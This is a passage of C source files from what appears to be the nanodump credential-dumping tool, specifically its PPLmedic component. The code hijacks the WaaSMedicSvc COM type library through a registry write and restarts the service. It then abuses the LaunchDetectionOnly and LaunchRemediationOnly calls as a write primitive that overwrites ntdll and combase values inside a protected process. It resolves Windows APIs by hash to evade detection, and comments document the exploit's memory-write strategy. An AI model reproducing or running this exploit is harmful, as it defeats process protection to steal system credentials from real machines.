    goto cleanup;\n\n    bImpersonated = TRUE;\n\n    success = set_registry_string_value(HKEY_LOCAL_MACHINE, TypeLibRegValuePath, NULL, TypeLibPath);\n    if (!success)\n        goto cleanup;\n\n    if(StateRegTypeLibModified)\n        *StateRegTypeLibModified = TRUE;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (bImpersonated)\n        RevertToSelf();\n\n    return ret_val;\n}\n\nBOOL write_type_lib(\n    IN LPWSTR TypeLibPath)\n{\n    BOOL ret_val = FALSE;\n\n    HRESULT hr = S_OK;\n    UINT i, j, cNames;\n\n    ITypeLib*  TypeLibOrig   = NULL;\n    ITypeInfo* TypeInfoOrig  = NULL;\n    TLIBATTR*  pTLibAttrOrig = NULL;\n    TYPEATTR*  pTypeAttrOrig = NULL;\n    FUNCDESC*  pFuncDescOrig = NULL;\n    BSTR       TypeLibName   = NULL;\n\n    //ITypeLib*  TypeLibRef  = NULL;\n    ITypeInfo* TypeInfoRef = NULL;\n    HREFTYPE   hRefType;\n    BSTR       Names[8];\n\n    ICreateTypeLib2* TypeLibNew   = NULL;\n    ICreateTypeInfo* TypeInfoNew  = NULL;\n    ICreateTypeInfo* TypeInfoNew2 = NULL;\n    ELEMDESC         ldoParams[2];\n    ELEMDESC         lroParams[3];\n\n    UUID InterfaceGuid1 = IID_WAASREMEDIATIONEX;\n    UUID InterfaceGuid2 = IID_TASKHANDLER;\n\n    LoadTypeLib_t    LoadTypeLib    = NULL;\n    CreateTypeLib2_t CreateTypeLib2 = NULL;\n    SysAllocString_t SysAllocString = NULL;\n    SysFreeString_t  SysFreeString  = NULL;\n\n    LoadTypeLib = (LoadTypeLib_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLEAUT32_DLL, TRUE),\n        LoadTypeLib_SW2_HASH,\n        0);\n    if (!LoadTypeLib)\n    {\n        api_not_found(\"LoadTypeLib\");\n        goto cleanup;\n    }\n\n    CreateTypeLib2 = (CreateTypeLib2_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLEAUT32_DLL, TRUE),\n        CreateTypeLib2_SW2_HASH,\n        0);\n    if (!CreateTypeLib2)\n    {\n        api_not_found(\"CreateTypeLib2\");\n        goto cleanup;\n    }\n\n    SysAllocString = (SysAllocString_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLEAUT32_DLL, TRUE),\n        SysAllocString_SW2_HASH,\n        0);\n    if (!SysAllocString)\n    {\n        api_not_found(\"SysAllocString\");\n        goto cleanup;\n    }\n\n    SysFreeString = (SysFreeString_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLEAUT32_DLL, TRUE),\n        SysFreeString_SW2_HASH,\n        0);\n    if (!SysFreeString)\n    {\n        api_not_found(\"SysFreeString\");\n        goto cleanup;\n    }\n\n    hr = LoadTypeLib(STR_WAASMEDIC_TYPELIB, &TypeLibOrig); // Load the original TypeLib\n    if (hr != S_OK)\n    {\n        function_failed(\"LoadTypeLib\");\n        goto cleanup;\n    }\n\n    hr = ITypeLib_GetLibAttr(TypeLibOrig, &pTLibAttrOrig);\n    if (hr != S_OK)\n    {\n        function_failed(\"GetLibAttr\");\n        goto cleanup;\n    }\n\n    hr = CreateTypeLib2(pTLibAttrOrig->syskind, TypeLibPath, &TypeLibNew); // Create a new TypeLib\n    if (hr != S_OK)\n    {\n        function_failed(\"CreateTypeLib2\");\n        goto cleanup;\n    }\n\n    hr = ICreateTypeLib2_SetGuid(TypeLibNew, &pTLibAttrOrig->guid);\n    if (hr != S_OK)\n    {\n        function_failed(\"SetGuid\");\n        goto cleanup;\n    }\n\n    hr = ICreateTypeLib2_SetLcid(TypeLibNew, pTLibAttrOrig->lcid);\n    if (hr != S_OK)\n    {\n        function_failed(\"SetLcid\");\n        goto cleanup;\n    }\n\n    hr = ICreateTypeLib2_SetVersion(TypeLibNew, pTLibAttrOrig->wMajorVerNum, pTLibAttrOrig->wMinorVerNum);\n    if (hr != S_OK)\n    {\n        function_failed(\"SetVersion\");\n        goto cleanup;\n    }\n\n    //\n    // BEGIN: Write the IWaaSRemediationEx interface\n    //\n\n    hr = ITypeLib_GetTypeInfoOfGuid(TypeLibOrig, &InterfaceGuid1, &TypeInfoOrig); // Get info about IWaaSRemediationEx interface\n    if (hr != S_OK)\n    {\n        function_failed(\"GetTypeInfoOfGuid\");\n        goto cleanup;\n    }\n\n    hr = ITypeInfo_GetTypeAttr(TypeInfoOrig, &pTypeAttrOrig); // Get interface content\n    if (hr != S_OK)\n    {\n        function_failed(\"GetTypeAttr\");\n        goto cleanup;\n    }\n\n    hr = ITypeInfo_GetDocumentation(TypeInfoOrig, MEMBERID_NIL, &TypeLibName, NULL, NULL, NULL); // Get TypeLib name\n    if (hr != S_OK)\n    {\n        function_failed(\"GetDocumentation\");\n        goto cleanup;\n    }\n\n    hr = ICreateTypeLib2_CreateTypeInfo(TypeLibNew, TypeLibName, TKIND_INTERFACE, &TypeInfoNew); // Type: \"dispatch\" to \"interface\"\n    if (hr != S_OK)\n    {\n        function_failed(\"CreateTypeInfo\");\n        goto cleanup;\n    }\n\n    hr = ICreateTypeInfo_SetTypeFlags(TypeInfoNew, TYPEFLAG_FHIDDEN | TYPEFLAG_FDUAL | TYPEFLAG_FNONEXTENSIBLE | TYPEFLAG_FOLEAUTOMATION);\n    if (hr != S_OK)\n    {\n        function_failed(\"SetTypeFlags\");\n        goto cleanup;\n    }\n\n    hr = ICreateTypeInfo_SetGuid(TypeInfoNew, &pTypeAttrOrig->guid);\n    if (hr != S_OK)\n    {\n        function_failed(\"SetGuid\");\n        goto cleanup;\n    }\n\n    hr = ICreateTypeInfo_SetVersion(TypeInfoNew, pTypeAttrOrig->wMajorVerNum, pTypeAttrOrig->wMinorVerNum);\n    if (hr != S_OK)\n    {\n        function_failed(\"SetVersion\");\n        goto cleanup;\n    }\n\n    // Add references to implemented interfaces\n    for (i = 0; i < pTypeAttrOrig->cImplTypes; i++)\n    {\n\n        hr = ITypeInfo_GetRefTypeOfImplType(TypeInfoOrig, i, &hRefType);\n        if (hr != S_OK)\n            continue;\n\n        hr = ITypeInfo_GetRefTypeInfo(TypeInfoOrig, hRefType, &TypeInfoRef);\n        if (hr != S_OK)\n            continue;\n\n        hr = ICreateTypeInfo_AddRefTypeInfo(TypeInfoNew, TypeInfoRef, &hRefType);\n        if (hr != S_OK)\n            continue;\n\n        hr = ICreateTypeInfo_AddImplType(TypeInfoNew, i, hRefType);\n        if (hr != S_OK)\n            continue;\n\n        safe_release((IUnknown**)&TypeInfoRef);\n    }\n\n    //\n    // Get the description of each function, modify them and add them to the new TypeLib.\n    // See https://thrysoee.dk/InsideCOM+/ch09b.htm\n    //\n\n\n    for (i = 0; i < pTypeAttrOrig->cFuncs; i++)\n    {\n        hr = ITypeInfo_GetFuncDesc(TypeInfoOrig, i, &pFuncDescOrig);\n        if (hr != S_OK)\n            continue;\n\n        if (pFuncDescOrig->memid != 0x60020000 && pFuncDescOrig->memid != 0x60020001)\n        {\n            ITypeInfo_ReleaseFuncDesc(TypeInfoOrig, pFuncDescOrig);\n            continue;\n        }\n\n        hr = ITypeInfo_GetNames(TypeInfoOrig, pFuncDescOrig->memid, Names, sizeof(Names) / sizeof(*Names), &cNames);\n        if (hr != S_OK)\n        {\n            ITypeInfo_ReleaseFuncDesc(TypeInfoOrig, pFuncDescOrig);\n            continue;\n        }\n\n\n        if (pFuncDescOrig->memid == 0x60020000)\n        {\n            // LaunchDetectionOnly\n\n            ldoParams[0].tdesc.vt = VT_BSTR;\n            ldoParams[0].paramdesc.wParamFlags = PARAMFLAG_FIN;\n            ldoParams[1].tdesc.vt = VT_UI8;\n            ldoParams[1].paramdesc.wParamFlags = PARAMFLAG_FIN;\n\n            pFuncDescOrig->lprgelemdescParam = ldoParams;\n        }\n        else if (pFuncDescOrig->memid == 0x60020001)\n        {\n            // LaunchRemediationOnly\n\n            lroParams[0].tdesc.vt = VT_BSTR;\n            lroParams[0].paramdesc.wParamFlags = PARAMFLAG_FIN;\n            lroParams[1].tdesc.vt = VT_BSTR;\n            lroParams[1].paramdesc.wParamFlags = PARAMFLAG_FIN;\n            lroParams[2].tdesc.vt = VT_UI8;\n            lroParams[2].paramdesc.wParamFlags = PARAMFLAG_FIN;\n\n            pFuncDescOrig->lprgelemdescParam = lroParams;\n        }\n\n        pFuncDescOrig->cParams += 1;\n        Names[pFuncDescOrig->cParams] = SysAllocString(L\"unknown\");\n        cNames += 1;\n\n        pFuncDescOrig->funckind = FUNC_PUREVIRTUAL; // Change function type from \"dispatch\" to \"pure virtual\"\n        pFuncDescOrig->elemdescFunc.tdesc.vt = VT_HRESULT; // Set return type to HRESULT\n        hr = ICreateTypeInfo_AddFuncDesc(TypeInfoNew, 0, pFuncDescOrig); // Add function description to the interface\n        if (hr != S_OK)\n        {\n            function_failed(\"AddFuncDesc\");\n            continue;\n        }\n        hr = ICreateTypeInfo_SetFuncAndParamNames(TypeInfoNew, 0, Names, cNames); // Set function and parameter names\n        if (hr != S_OK)\n        {\n            function_failed(\"SetFuncAndParamNames\");\n            continue;\n        }\n\n        for (j = 0; j < cNames; j++)\n        {\n            SysFreeString(Names[j]); // Free the strings returned by \"GetNames\"\n        }\n\n        ITypeInfo_ReleaseFuncDesc(TypeInfoOrig, pFuncDescOrig);\n    }\n\n    //\n    // END: Write the IWaaSRemediationEx interface\n    //\n    if (pTypeAttrOrig)\n    {\n        ITypeInfo_ReleaseTypeAttr(TypeInfoOrig, pTypeAttrOrig);\n    }\n    safe_release((IUnknown**)&TypeInfoOrig);\n\n    //\n    // BEGIN: Write the ITaskHandler interface\n    //\n\n    hr = ITypeLib_GetTypeInfoOfGuid(TypeLibOrig, &InterfaceGuid2, &TypeInfoOrig); // Get info about ITaskHandler interface\n    if (hr != S_OK)\n    {\n        function_failed(\"GetTypeInfoOfGuid\");\n        goto cleanup;\n    }\n\n    hr = ITypeInfo_GetTypeAttr(TypeInfoOrig, &pTypeAttrOrig); // Get interface content\n    if (hr != S_OK)\n    {\n        function_failed(\"GetTypeAttr\");\n        goto cleanup;\n    }\n\n    hr = ITypeInfo_GetDocumentation(TypeInfoOrig, MEMBERID_NIL, &TypeLibName, NULL, NULL, NULL); // Get TypeLib name\n    if (hr != S_OK)\n    {\n        function_failed(\"GetDocumentation\");\n        goto cleanup;\n    }\n\n    hr = ICreateTypeLib2_CreateTypeInfo(TypeLibNew, TypeLibName, TKIND_INTERFACE, &TypeInfoNew2); // Type: \"dispatch\" to \"interface\"\n    if (hr != S_OK)\n    {\n        function_failed(\"CreateTypeInfo\");\n        goto cleanup;\n    }\n\n    hr = ICreateTypeInfo_SetTypeFlags(TypeInfoNew2, TYPEFLAG_FHIDDEN | TYPEFLAG_FNONEXTENSIBLE | TYPEFLAG_FOLEAUTOMATION);\n    if (hr != S_OK)\n    {\n        function_failed(\"SetTypeFlags\");\n        goto cleanup;\n    }\n\n    hr = ICreateTypeInfo_SetGuid(TypeInfoNew2, &pTypeAttrOrig->guid);\n    if (hr != S_OK)\n    {\n        function_failed(\"SetGuid\");\n        goto cleanup;\n    }\n\n    hr = ICreateTypeInfo_SetVersion(TypeInfoNew2, pTypeAttrOrig->wMajorVerNum, pTypeAttrOrig->wMinorVerNum);\n    if (hr != S_OK)\n    {\n        function_failed(\"SetVersion\");\n        goto cleanup;\n    }\n\n    // Add references to implemented interfaces\n    for (i = 0; i < pTypeAttrOrig->cImplTypes; i++)\n    {\n        hr = ITypeInfo_GetRefTypeOfImplType(TypeInfoOrig, i, &hRefType);\n        if (hr != S_OK)\n            continue;\n\n        hr = ITypeInfo_GetRefTypeInfo(TypeInfoOrig, hRefType, &TypeInfoRef);\n        if (hr != S_OK)\n            continue;\n\n        ICreateTypeInfo_AddRefTypeInfo(TypeInfoNew2, TypeInfoRef, &hRefType);\n        ICreateTypeInfo_AddImplType(TypeInfoNew2, i, hRefType);\n\n        safe_release((IUnknown**)&TypeInfoRef);\n    }\n\n    for (i = 0; i < pTypeAttrOrig->cFuncs; i++)\n    {\n        hr = ITypeInfo_GetFuncDesc(TypeInfoOrig, i, &pFuncDescOrig);\n        if (hr != S_OK)\n            continue;\n\n        hr = ITypeInfo_GetNames(TypeInfoOrig, pFuncDescOrig->memid, Names, sizeof(Names) / sizeof(*Names), &cNames);\n        if (hr != S_OK)\n        {\n            ITypeInfo_ReleaseFuncDesc(TypeInfoOrig, pFuncDescOrig);\n            continue;\n        }\n\n        hr = ICreateTypeInfo_AddFuncDesc(TypeInfoNew2, 0, pFuncDescOrig); // Add function description to the interface\n        if (hr != S_OK)\n            continue;\n\n        hr = ICreateTypeInfo_SetFuncAndParamNames(TypeInfoNew2, 0, Names, cNames); // Set function and parameter names\n        if (hr != S_OK)\n            continue;\n\n        for (j = 0; j < cNames; j++)\n        {   \n            SysFreeString(Names[j]); // Free the strings returned by \"GetNames\"\n        }\n\n        ITypeInfo_ReleaseFuncDesc(TypeInfoOrig, pFuncDescOrig);\n    }\n\n    //\n    // END: Write the ITaskHandler interface\n    //\n\n    hr = ICreateTypeLib2_SaveAllChanges(TypeLibNew);\n    if (hr != S_OK)\n    {\n        function_failed(\"SaveAllChanges\");\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    safe_release((IUnknown**)&TypeInfoRef);\n    safe_release((IUnknown**)&TypeInfoNew);\n    if (TypeLibName) SysFreeString(TypeLibName);\n    if (pTypeAttrOrig)\n    {\n        ITypeInfo_ReleaseTypeAttr(TypeInfoOrig, pTypeAttrOrig);\n    }\n    safe_release((IUnknown**)&TypeInfoOrig);\n    safe_release((IUnknown**)&TypeLibNew);\n    if (pTLibAttrOrig)\n    {\n        ITypeLib_ReleaseTLibAttr(TypeLibOrig, pTLibAttrOrig);\n    }\n    safe_release((IUnknown**)&TypeLibOrig);\n\n    if (!ret_val)\n        DPRINT_ERR(\"Failed to write TypeLib to file: %ls\", TypeLibPath);\n\n    return ret_val;\n}\n\nBOOL restart_waa_s_medic_svc()\n{\n    BOOL  ret_val = FALSE;\n    BOOL  success = FALSE;\n    DWORD dwWaaSMedicStatus;\n\n    success = get_service_status_by_name(\n        STR_WAASMEDIC_SVC,\n        &dwWaaSMedicStatus);\n    if (!success)\n        goto cleanup;\n\n    if (dwWaaSMedicStatus == SERVICE_RUNNING)\n    {\n        DPRINT(\"%ls is running, stopping it...\", STR_WAASMEDIC_SVC);\n        success = stop_service_by_name(STR_WAASMEDIC_SVC, TRUE);\n        if (!success)\n           goto cleanup;\n    }\n\n    DPRINT(\"Starting service %ls...\", STR_WAASMEDIC_SVC);\n    success = start_service_by_name(STR_WAASMEDIC_SVC, TRUE);\n    if (!success)\n        goto cleanup;\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\nBOOL find_saa_s_medic_svc_pid(\n    IN LPDWORD Pid)\n{\n    return get_service_process_id(STR_WAASMEDIC_SVC, Pid);\n}\n\nBOOL find_waa_s_medic_svc_base_named_objects_handle(\n    OUT PHANDLE BaseNamedObjectsHandle)\n{\n    DWORD        saa_s_medic_svc_pid    = 0;\n    BOOL         ret_val                = FALSE;\n    BOOL         success                = FALSE;\n    PHANDLE_LIST handle_list            = NULL;\n\n    success = find_saa_s_medic_svc_pid(&saa_s_medic_svc_pid);\n    if (!success)\n        goto cleanup;\n\n    success = find_directory_handles_in_process(\n        saa_s_medic_svc_pid,\n        0,\n        &handle_list);\n    if (!success)\n        goto cleanup;\n\n    if (handle_list->Count < 1)\n    {\n        DPRINT_ERR(\"No handle of type 'Directory' was found in the process with PID %ld.\", saa_s_medic_svc_pid);\n        goto cleanup;\n    }\n\n    if (handle_list->Count > 1)\n    {\n        DPRINT_ERR(\"More than one handle of type 'Directory' was found in process with PID %ld.\", saa_s_medic_svc_pid);\n        goto cleanup;\n    }\n\n    *BaseNamedObjectsHandle = handle_list->Handle[0];\n\n    ret_val = TRUE;\n\ncleanup:\n    if (!ret_val)\n    {\n        DPRINT(\"NTDLL is probably not patched.\");\n    }\n\n    if (handle_list)\n        intFree(handle_list);\n\n    return ret_val;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/ppl/ppl_medic_client.c",
    "content": "#include \"ppl/ppl_medic_client.h\"\n\nBOOL initialize_interface(\n    PIWaaSRemediationEx* IWaaSRemediationEx)\n{\n    BOOL    ret_val               = FALSE;\n    HRESULT ComResult             = 0;\n    CLSID   CLSID_WaaSRemediation = CLSID_WAASREMEDIATION;\n    IID     IID_WaaSRemediationEx = IID_WAASREMEDIATIONEX;\n\n    CoInitializeEx_t           CoInitializeEx           = NULL;\n    CoCreateInstance_t         CoCreateInstance         = NULL;\n    CoEnableCallCancellation_t CoEnableCallCancellation = NULL;\n\n    CoInitializeEx = (CoInitializeEx_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLE32_DLL, TRUE),\n        CoInitializeEx_SW2_HASH,\n        0);\n    if (!CoInitializeEx)\n    {\n        api_not_found(\"CoInitializeEx\");\n        goto cleanup;\n    }\n\n    CoCreateInstance = (CoCreateInstance_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLE32_DLL, TRUE),\n        CoCreateInstance_SW2_HASH,\n        0);\n    if (!CoCreateInstance)\n    {\n        api_not_found(\"CoCreateInstance\");\n        goto cleanup;\n    }\n\n    CoEnableCallCancellation = (CoEnableCallCancellation_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLE32_DLL, TRUE),\n        CoEnableCallCancellation_SW2_HASH,\n        0);\n    if (!CoEnableCallCancellation)\n    {\n        api_not_found(\"CoEnableCallCancellation\");\n        goto cleanup;\n    }\n\n    ComResult = CoInitializeEx(NULL, COINIT_MULTITHREADED);\n    if (FAILED(ComResult))\n    {\n        function_failed(\"CoInitializeEx\");\n        goto cleanup;\n    }\n\n    ComResult = CoCreateInstance(\n        &CLSID_WaaSRemediation,\n        NULL,\n        CLSCTX_LOCAL_SERVER,\n        &IID_WaaSRemediationEx,\n        (LPVOID *)IWaaSRemediationEx);\n    if (FAILED(ComResult))\n    {\n        function_failed(\"CoCreateInstance\");\n        goto cleanup;\n    }\n\n    ComResult = CoEnableCallCancellation(NULL);\n    if (FAILED(ComResult))\n    {\n        function_failed(\"CoEnableCallCancellation\");\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\nBOOL resolve_dispatch_ids(\n    IN PIWaaSRemediationEx IWaaSRemediationEx,\n    OUT DISPID *DispIdLaunchDetectionOnly,\n    OUT DISPID *DispIdLaunchRemediationOnly)\n{\n    BOOL    ret_val                   = FALSE;\n    HRESULT ComResult                 = 0;\n    LPWSTR  pwszLaunchDetectionOnly   = STR_METHOD_LAUNCHDETECTIONONLY;\n    LPWSTR  pwszLaunchRemediationOnly = STR_METHOD_LAUNCHREMEDIATIONONLY;\n    IID     IID_Null                  = IID_ALL_ZERO;\n\n    ComResult = IWaaSRemediationEx_GetIDsOfNames(IWaaSRemediationEx, &IID_Null, &pwszLaunchDetectionOnly, 1, 1033, DispIdLaunchDetectionOnly);\n    if (FAILED(ComResult))\n    {\n        function_failed(\"GetIDsOfNames\");\n        goto cleanup;\n    }\n\n    ComResult = IWaaSRemediationEx_GetIDsOfNames(IWaaSRemediationEx, &IID_Null, &pwszLaunchRemediationOnly, 1, 1033, DispIdLaunchRemediationOnly);\n    if (FAILED(ComResult))\n    {\n        function_failed(\"GetIDsOfNames\");\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    \n    if (ret_val)\n    {\n        DPRINT(\"LDO ID: 0x%08lx | LRO ID: 0x%08lx\", *DispIdLaunchDetectionOnly, *DispIdLaunchRemediationOnly);\n    }\n\n    return ret_val;\n}\n\nBOOL write_remote_dll_search_path_flag(\n    IN PIWaaSRemediationEx IWaaSRemediationEx,\n    IN DISPID DispIdLaunchRemediationOnly)\n{\n    BOOL                                    ret_val                   = FALSE;\n    BOOL                                    success                   = FALSE;\n    ULONG_PTR                               pDllSearchPathFlagAddress = 0;\n    WRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM WriteParams               = { 0 };\n    DWORD                                   dwThreadId                = 0;\n    DWORD                                   dwThreadExitCode          = 0;\n    HANDLE                                  hThread                   = NULL;\n\n    // TODO: syscalls\n\n    SysAllocString_t      SysAllocString      = NULL;\n    CoCancelCall_t        CoCancelCall        = NULL;\n    CreateThread_t        CreateThread        = NULL;\n    WaitForSingleObject_t WaitForSingleObject = NULL;\n    GetExitCodeThread_t   GetExitCodeThread   = NULL;\n\n    SysAllocString = (SysAllocString_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLEAUT32_DLL, TRUE),\n        SysAllocString_SW2_HASH,\n        0);\n    if (!SysAllocString)\n    {\n        api_not_found(\"SysAllocString\");\n        goto cleanup;\n    }\n\n    CoCancelCall = (CoCancelCall_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLE32_DLL, TRUE),\n        CoCancelCall_SW2_HASH,\n        0);\n    if (!CoCancelCall)\n    {\n        api_not_found(\"CoCancelCall\");\n        goto cleanup;\n    }\n\n    CreateThread = (CreateThread_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        CreateThread_SW2_HASH,\n        0);\n    if (!CreateThread)\n    {\n        api_not_found(\"CreateThread\");\n        goto cleanup;\n    }\n\n    WaitForSingleObject = (WaitForSingleObject_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        WaitForSingleObject_SW2_HASH,\n        0);\n    if (!WaitForSingleObject)\n    {\n        api_not_found(\"WaitForSingleObject\");\n        goto cleanup;\n    }\n\n    GetExitCodeThread = (GetExitCodeThread_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetExitCodeThread_SW2_HASH,\n        0);\n    if (!GetExitCodeThread)\n    {\n        api_not_found(\"GetExitCodeThread\");\n        goto cleanup;\n    }\n\n    success = find_combase_dll_search_flag_address(&pDllSearchPathFlagAddress);\n    if (!success)\n        goto cleanup;\n\n    memset(&WriteParams, 0, sizeof(WriteParams));\n    WriteParams.CallerApplicationName       = SysAllocString(L\"\");\n    WriteParams.Plugins                     = SysAllocString(L\"\");\n    WriteParams.DispIdLaunchRemediationOnly = DispIdLaunchRemediationOnly;\n    WriteParams.WaaSRemediationEx           = IWaaSRemediationEx;\n    WriteParams.WriteAt                     = pDllSearchPathFlagAddress - 8;\n\n    hThread = CreateThread(NULL, 0, write_remote_dll_search_path_flag_thread, &WriteParams, 0, &dwThreadId);\n    if (!hThread)\n    {\n        function_failed(\"CreateThread\");\n        goto cleanup;\n    }\n\n    if (WaitForSingleObject(hThread, TIMEOUT) != WAIT_OBJECT_0)\n    {\n        DPRINT(\"Thread with ID %ld is taking too long, cancelling...\", dwThreadId);\n        CoCancelCall(dwThreadId, TIMEOUT);\n        goto cleanup;\n    }\n\n    success = GetExitCodeThread(hThread, &dwThreadExitCode);\n    if (!success)\n        goto cleanup;\n\n    if (dwThreadExitCode != ERROR_SUCCESS)\n        goto cleanup;\n\n    ret_val = TRUE;\n\ncleanup:\n    safe_close_handle(&hThread);\n\n    if (!ret_val)\n    {\n        DPRINT_ERR(\"Failed to write DLL search path flag in remote process (thread exit code: 0x%08lx).\", dwThreadExitCode);\n    }\n\n    return ret_val;\n}\n\nHRESULT invoke_launch_remediation_only(\n    IN PIWaaSRemediationEx Interface,\n    IN DISPID DispId,\n    IN BSTR Plugins,\n    IN BSTR CallerApplicationName,\n    IN ULONG_PTR Result)\n{\n    DISPPARAMS Params                      = { 0 };\n    VARIANT    VarResult                   = { 0 };\n    EXCEPINFO  ExcepInfo                   = { 0 };\n    UINT       ArgErr                      = 0xffffffff;\n    VARIANTARG ArgLaunchRemediationOnly[3] = { 0 };\n    IID        IID_Null                    = IID_ALL_ZERO;\n\n    memset(&ArgLaunchRemediationOnly, 0, sizeof(ArgLaunchRemediationOnly));\n    ArgLaunchRemediationOnly[0].vt      = VT_UI8;\n    ArgLaunchRemediationOnly[0].ullVal  = Result;\n    ArgLaunchRemediationOnly[1].vt      = VT_BSTR;\n    ArgLaunchRemediationOnly[1].bstrVal = CallerApplicationName;\n    ArgLaunchRemediationOnly[2].vt      = VT_BSTR;\n    ArgLaunchRemediationOnly[2].bstrVal = Plugins;\n\n    memset(&Params, 0, sizeof(Params));\n    Params.cArgs             = sizeof(ArgLaunchRemediationOnly) / sizeof(*ArgLaunchRemediationOnly);\n    Params.rgvarg            = ArgLaunchRemediationOnly;\n    Params.cNamedArgs        = 0;\n    Params.rgdispidNamedArgs = NULL;\n\n    return IWaaSRemediationEx_Invoke(Interface, DispId, &IID_Null, 1033, DISPATCH_METHOD, &Params, &VarResult, &ExcepInfo, &ArgErr);\n}\n\nHRESULT invoke_launch_detection_only(\n    IN PIWaaSRemediationEx Interface,\n    IN DISPID DispId,\n    IN BSTR CallerApplicationName,\n    IN ULONG_PTR Result)\n{\n    DISPPARAMS Params                    = { 0 };\n    VARIANT    VarResult                 = { 0 };\n    EXCEPINFO  ExcepInfo                 = { 0 };\n    UINT       ArgErr                    = 0xffffffff;\n    VARIANTARG ArgLaunchDetectionOnly[2] = { 0 };\n    IID        IID_Null                  = IID_ALL_ZERO;\n\n    memset(&ArgLaunchDetectionOnly, 0, sizeof(ArgLaunchDetectionOnly));\n    ArgLaunchDetectionOnly[0].vt = VT_UI8;\n    ArgLaunchDetectionOnly[0].ullVal = Result;\n    ArgLaunchDetectionOnly[1].vt = VT_BSTR;\n    ArgLaunchDetectionOnly[1].bstrVal = CallerApplicationName;\n\n    memset(&Params, 0, sizeof(Params));\n    Params.cArgs = sizeof(ArgLaunchDetectionOnly) / sizeof(*ArgLaunchDetectionOnly);\n    Params.rgvarg = ArgLaunchDetectionOnly;\n    Params.cNamedArgs = 0;\n    Params.rgdispidNamedArgs = NULL;\n\n    return IWaaSRemediationEx_Invoke(Interface, DispId, &IID_Null, 1033, DISPATCH_METHOD, &Params, &VarResult, &ExcepInfo, &ArgErr);\n}\n\nULONG32 get_strategy(\n    IN ULONG32 TargetValue)\n{\n    ULONG32 Strategy = 0;\n\n    //\n    // If the target handle value is 0x18, 0x38, 0x58 (etc.), we have a higher chance of hitting\n    // the right value if we extract the first byte (index 0) of the returned heap address.\n    //\n    if (TargetValue >= 0x18)\n    {\n        Strategy = ((TargetValue - 0x18) % 32 == 0) ? EXPLOIT_STRATEGY_EXTRACT_BYTE_AT_INDEX_0 : EXPLOIT_STRATEGY_EXTRACT_BYTE_AT_INDEX_1;\n    }\n    //\n    // Otherwise, extract the second byte (index 1) of the returned heap address.\n    //\n    else\n    {\n        Strategy = EXPLOIT_STRATEGY_EXTRACT_BYTE_AT_INDEX_1;\n    }\n\n    return Strategy;\n}\n\nBOOL calculate_write_addresses(\n    IN PVOID BaseAddress,\n    IN ULONG32 TargetValue,\n    OUT PDWORD64 WriteAtLaunchDetectionOnly,\n    OUT PDWORD64 WriteAtLaunchRemediationOnly)\n{\n    ULONG32 Strategy = 0;\n    //\n    // _BaseAddress: address of ntdll!LdrpKnownDllDirectoryHandle\n    // _WriteAtLaunchDetectionOnly: address used to write the result of LaunchDetectionOnly\n    // _WriteAtLaunchRemediationOnly: address used to write the result of LaunchRemediationOnly\n    //\n    // First strategy: keep value at index 0\n    // \n    //   After the call to LaunchDetectionOnly\n    //     00007fff`971dc028  00 00 00 00  00 00 00 00    <- (LdrpFatalHardErrorCount)\n    //     00007fff`971dc030  HH XX XX XX  XX XX 00 00    <- LdrpKnownDllDirectoryHandle\n    //     00007fff`971dc038  00 00 00 00  00 00 00 00    <- NOT USED\n    // \n    //   After the call to LaunchRemediationOnly (1)\n    //     00007fff`971dc028  00 17 00 00  00 00 00 00    <- (LdrpFatalHardErrorCount)\n    //     00007fff`971dc030  HH 00 00 00  00 XX 00 00    <- LdrpKnownDllDirectoryHandle\n    //     00007fff`971dc038  00 00 00 00  00 00 00 00    <- NOT USED\n    // \n    //      After the call to LaunchRemediationOnly (2)\n    //     00007fff`971dc028  00 17 17 00  00 00 00 00    <- (LdrpFatalHardErrorCount)\n    //     00007fff`971dc030  HH 00 00 00  00 00 00 00    <- LdrpKnownDllDirectoryHandle\n    //     00007fff`971dc038  00 00 00 00  00 00 00 00    <- NOT USED\n    // \n    // Second strategy: keep value at index 1\n    // \n    //   After the call to LaunchDetectionOnly\n    //     00007fff`971dc028  00 00 00 00  00 00 00 XX    <- (LdrpFatalHardErrorCount)\n    //     00007fff`971dc030  HH XX XX XX  XX 00 00 00    <- LdrpKnownDllDirectoryHandle\n    //     00007fff`971dc038  00 00 00 00  00 00 00 00    <- NOT USED\n    //\n    //   After the call to LaunchRemediationOnly\n    //     00007fff`971dc028  00 17 00 00  00 00 00 XX    <- (LdrpFatalHardErrorCount)\n    //     00007fff`971dc030  HH 00 00 00  00 00 00 00    <- LdrpKnownDllDirectoryHandle\n    //     00007fff`971dc038  00 00 00 00  00 00 00 00    <- NOT USED\n    //\n\n    Strategy = get_strategy(TargetValue);\n\n    if (Strategy == EXPLOIT_STRATEGY_EXTRACT_BYTE_AT_INDEX_0)\n    {\n        *WriteAtLaunchDetectionOnly = (DWORD64)(ULONG_PTR)BaseAddress;       // Write value XX XX XX XX XX XX 00 00 @ ntdll!LdrpKnownDllDirectoryHandle\n        *WriteAtLaunchRemediationOnly = (DWORD64)(ULONG_PTR)BaseAddress - 7; // Write 00 00 00 00 @ LdrpKnownDllDirectoryHandle+1 (+1 again for the second call)\n        return TRUE;\n    }\n    else if (Strategy == EXPLOIT_STRATEGY_EXTRACT_BYTE_AT_INDEX_1)\n    {\n        *WriteAtLaunchDetectionOnly = (DWORD64)(ULONG_PTR)BaseAddress - 1;   // Write value XX XX XX XX XX XX 00 00 @ 